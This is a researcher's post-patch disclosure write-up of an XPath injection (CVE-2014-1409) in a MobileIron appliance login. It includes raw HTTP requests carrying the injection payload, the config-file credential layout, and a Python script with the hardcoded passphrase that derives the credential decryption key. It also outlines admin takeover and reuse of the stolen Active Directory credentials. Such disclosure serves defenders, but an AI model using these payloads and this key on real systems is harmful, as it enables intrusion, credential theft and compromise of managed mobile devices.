CVE-2014-1409 or the sad tale of an XPath injection affecting mobileiron products

Following up on my last post about XPath injections, I will document part of the process we went through to exploit CVE-2014-1409 and hopefully convince a few that this category of bugs is no joke and should be looked for during pentests.

So, what about it? Well, let me tell you a story. The story of a remote-root which doesn't involve any memory corruption on a very widely used and deployed appliance sold by a security vendor.

In terms of exploitation methodology, here is what needs doing:

1. identify a valid/error pattern (see requests below)
2. turn the valid/error pattern into a true/false one (trivial)
3. exfiltrate the XML content (see structure of the document below to build an optimized query)
4. de-obfuscate the credentials (see below).
5. login

All of the above has been described in MATTA-2013-004; The vendor has issued a patch and it was made public on 02-04-14. I feel like releasing more details will help other members of the security community develop signatures for IDSes and plugins for vulnerability scanners.

The two HTTP requests I use to check whether an appliance is vulnerable are the following:

POST /mics/j_spring_security_check HTTP/1.1
Host: XXX
Referer: https://XXX/mics/login.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

j_username=x'and+concat('1','1')='1&j_password=p

-> 'valid' case: response will be HTTP 302

POST /mics/j_spring_security_check HTTP/1.1
Host: XXX
Referer: https://XXX/mics/login.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

j_username=x'and+concat('1','1'=)'1&j_password=p

-> 'error' case: response will be HTTP 404

With the assistance of XCat and the following patches, you should be able to download the device's configuration file. It contains the obfuscated credentials you will need to connect to https://XXX/mics/login.jsp as administrator! Keep in mind that you need to set the Referer header for the test vector to work; I have a separate XCat patch for that too.

<configuration><identity>
<user>
        <principal>admin</principal>
        <password>base64 encoded obfuscated password</password>
</user>

</identity></configuration>

If the applicance is linked to active-directory (or another LDAP server), it will contain the credentials to connect to it (<directoryUserID> and <directoryPassword>).

The credentials are obfuscated using encryption and a static key. The following script should get you the plaintext:

#!/usr/bin/env python
#
#  MobileIron uses AES-ECB-PKCS1.5 (with a known key)
# to store credentials... What a brilliant idea!
#
# This script is about checking whether the provided
# hash is vulnerable to CVE-2013-7286 or not.
#
# NextGen$ ~ 2013

import sys
import binascii
import hashlib
import string
from Crypto.Cipher import AES

if len(sys.argv)<2:
 sys.exit('Usage: ./CVE-2013-7286.py <base64encoded blob>')

BS = 8
unpad = lambda s : s[0:-ord(s[-1])]

if __name__== "__main__":
    # Generate the master key...
    # Yes. It's not a typo!
    phrase = 'Hakuna matata what a woderful phrase'
    m = hashlib.sha1()
    m.update(phrase)
    # We only want the 16 first bytes (128bit key, 160bit hash function)
    key = m.digest()[:16]
    ciphertext = binascii.a2b_base64(sys.argv[1])
    cipher = AES.new(key, AES.MODE_ECB)
    plaintext = unpad(cipher.decrypt(ciphertext))
    vulnerable = len(plaintext) > 0 and all(c in string.printable for c in plaintext)
    print '%sVULNERABLE TO CVE-2013-7286' % ('' if vulnerable else 'NOT ')

Once logged in as administrator on the device, it's game over. You can remotely deploy apps (and get shells!) on all the attached mobile devices and you can capture the traffic flowing through the device. Moreover, you might be able to reuse the AD credentials elsewhere on the infrastructure... OWA and SSL-VPNs are obvious targets. Overall it's a very difficult compromize to recover from as the defender; a successfull attack leaves no useful log to speak of.